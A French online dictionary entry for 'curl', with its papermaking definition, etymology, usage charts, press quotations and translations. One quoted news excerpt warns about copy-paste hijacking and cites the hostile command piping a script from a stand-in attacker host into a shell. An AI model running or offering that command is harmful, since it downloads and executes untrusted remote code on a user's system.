La langue française

Accueil > Dictionnaire > Définitions du mot « curl »

Curl

[kyrl]
Ecouter

Définitions de « curl »

Curl - Nom commun

  • (Papeterie) Anomalie caractérisée par l'incurvation d'un papier lors de sa fabrication.

    Le curl, cette incurvation involontaire du papier, souvent négligée, peut compromettre la précision et l'esthétique de produits d'imprimerie haut de gamme.
    (Citation fictive)

Étymologie de « curl »

De l'anglais curl.

Usage du mot « curl »

Évolution historique de l’usage du mot « curl » depuis 1800

Fréquence d'apparition du mot « curl » dans le journal Le Monde depuis 1945

Source : Gallicagram. Créé par Benjamin Azoulay et Benoît de Courson, Gallicagram représente graphiquement l’évolution au cours du temps de la fréquence d’apparition d’un ou plusieurs syntagmes dans les corpus numérisés de Gallica et de beaucoup d’autres bibliothèques.

Citations contenant le mot « curl »

  • L'American Curl est une race de chat connue pour ses oreilles recourbées. Particulièrement discret et doux, l'American Curl est un chat affectueux et casanier.
    LEFIGARO — L'American Curl : origine, taille et caractère
  • Et encore une fois, les résultats sont assez bluffants. Si on trouvait l'effet "pattes d'araignées" un peu perturbant avec le Sensational (et que l'on n'est personnellement pas fan des brosses en silicone), la brosse incurvée en poils du Colossal Curl Bounce permet de déployer les cils façon "ailes de papillons".
    Colossal Curl Bounce : où trouver le nouveau mascara Maybelline avant que TikTok ne provoque une rupture de stock ?
  • On parle de phase concentrique quand on contracte un muscle en le raccourcissant, comme par exemple avec un curl biceps. Accentuer cette phase permet des gains musculaires supérieurs aux deux autres phases seules.
    Masculin.com — Tempo en musculation : quelle est la vitesse idéale pour se muscler plus vite ? – Masculin.com
  • À peine trente ans et déjà considéré comme une légende du bodyboard, le Français Pierre-Louis Costes a décidé d'apporter un vent de fraîcheur dans sa carrière. Sous contrat avec Rip Curl depuis 2002, le double champion du monde en 2011 et 2016 a annoncé s'être engagé auprès de Sen No Sen. Le bodyboardeur et l'équipementier français seront liés pendant au moins deux ans.
    L'Équipe — Bodyboard : Pierre-Louis Costes rejoint la marque française Sen No Sen - Bodyboard - L'Équipe
  • J’ai réglé un pb de tendinite du demi-tendineux qui persistait depuis 3 mois (due probablement à une augmentation trop rapide de mon kilométrages hebdomadaire), par des exercices excentriques, notamment le « russian curl leg », voyez ici: https://www.youtube.com/watch?v=43sgMWY9Pf4
    Lepape-Info — Tendinopathie des ischio-jambiers : comment s’en sortir ? | Lepape-Info
  • Contrairement à ce qu'il espérait, Gabriel Medina ne pourra pas resurfer sa série contre Caio Ibelli des 8es de finale du MEO Rip Curl Pro Portugal, 10e et avant-dernière manche du circuit pro. Le double champion du monde a été éliminé dimanche par son compatriote en raison d'une interférence dont il a été l'auteur.
    L'Équipe — Pro Portugal : la série des 8es entre Gabriel Medina et Caio Ibelli ne sera pas resurfée - L'Équipe
  • Suivent : le Ragamuffin, le Sibérien, l’American Curl (et ses oreilles recourbées), le Selkirk Rex, le Siamois, le Maine Coon et le Mau égyptien. Et en queue de peloton alors ? Le flop 3 (désolé) est composé du Persan, du Peterbald (qui, comme son nom l’indique n’a pas de poil) et, bon dernier, l’Himalayen.
    Grazia — Voici les races de chats les plus belles au monde et c'est la science qui le dit
  • En copiant-collant cette commande dans une zone de texte ou un bloc-note, on se rend compte que le contenu est totalement différent. En effet, la commande sudo apt update est devenue curl http://attacker-domain:8000/shell.sh | sh. En réalité, la supercherie se trouve dans le code Javascript caché derrière la page HTML de la preuve de concept mise en place par Friendlander.
    PhonAndroid — Piratage : Copier-coller des commandes issues d'une page web peut être très dangereux !

Traductions du mot « curl »

Langue Traduction
Anglais curl
Espagnol rizo
Italien arricciare
Allemand kräuseln
Chinois 卷曲
Arabe لفة
Portugais ondulação
Russe завиток
Japonais カール
Basque kiribil
Corse curl
Source : Google Translate API


Sources et ressources complémentaires

SOMMAIRE

Source : Google Books Ngram Viewer, application linguistique permettant d’observer l’évolution au fil du temps du nombre d'occurrences d’un ou de plusieurs mots dans les textes publiés.